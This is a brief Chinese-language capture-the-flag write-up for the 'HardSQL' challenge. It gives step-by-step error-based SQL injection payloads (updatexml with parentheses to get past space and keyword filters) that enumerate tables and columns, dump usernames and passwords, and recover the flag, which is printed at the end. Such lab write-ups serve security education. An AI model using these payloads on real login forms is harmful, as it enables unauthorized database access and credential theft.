[极客大挑战 2019]HardSQL
知识点
- 绕过一些简单的过滤
- right()
过程
主页是一个登陆页面
过滤了关键字 and、=、空格、union等
查库
check.php?username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
查表
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
查字段
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21
dump数据
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21
不是最终结果,上网搜罗,用right()语句
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
拼接两段即得flag
flag{f1b0debe-86a4-4b3b-a1f0-bf67f3c734d9}